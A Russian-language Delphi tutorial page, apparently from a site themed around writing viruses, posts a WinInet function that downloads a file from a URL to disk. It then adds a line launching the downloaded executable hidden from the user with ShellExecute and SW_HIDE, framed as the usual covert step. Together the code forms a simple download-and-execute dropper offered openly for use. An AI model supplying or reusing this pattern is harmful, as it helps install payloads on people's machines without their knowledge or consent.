Четверг, 21.11.2024, 09:26 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Сколько вы занимаетесь программированием?
Всего ответов: 456

Главная » Статьи » Delphi » Примеры

Скачиваем и запускаем файл из инета средствами Delphi
uses Windows, Messages, Wininet, ShellAPI;

function GetInetFile(const URL, FileName: string): boolean;
const
BufferSize = 1024; // размер буффера для закачки фаила в килобайтах
//следовательно если фаил большего размера то работать не будет
//для таких случаев более удобен динамический массив
var
hSession, hURL: HInternet; //переменные соединения и открытия сессии
Buffer: array[1..BufferSize] of Byte; //сам буфер
BufferLen: DWORD; //длина прочитанного
myfile: file; //указатель на фаил
sAppName: string; //имя приложения
begin
Result := False; //пока не скачали
sAppName := ExtractFileName(Application.ExeName); //получаем имя нашего приложения
hSession := InternetOpen(PChar(sAppName), //это нужно для доступа в сеть
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); //тип соединения настройка прокси и левые аттрибуты
try //пробуем пока ошибки не появились…
hURL := InternetOpenURL(hSession, PChar(URL), nil, 0, 0, 0); //получаем указатель на фаил в интернете
try //-\\-
AssignFile(myfile, FileName); //указываем и открываем на запись
Rewrite(myfile,1); // фаил для заполнения скаченым из нета
repeat //повторяем -
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); //пытаемся скачать
BlockWrite(myfile, Buffer, BufferLen); //записываем в фаил
until // - пока
BufferLen = 0; //ничего не скачено а если уже скачали то…
CloseFile(myfile); //закрываем закачанный фаил
Result := True; //и говорим что закачали
finally // на конец
InternetCloseHandle(hURL); //закрываем соедениние
end;
finally // -\\-
InternetCloseHandle(hSession); //закрываем указатель
end;
end;

Вызываем так: GetInetFile(’www.site.ru/proga.exe’, ‘c:\proga.exe’);

ЗЫ: После этого как обычно скрыто запускаем файл на локальной машине =):

ShellExecute(0, ‘open’, ‘c:\proga.exe’, ‘’, ‘’, SW_HIDE);

Категория: Примеры | Добавил: dolphin (27.09.2008)
Просмотров: 5879 | Рейтинг: 1.0/2

Всего комментариев: 0
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz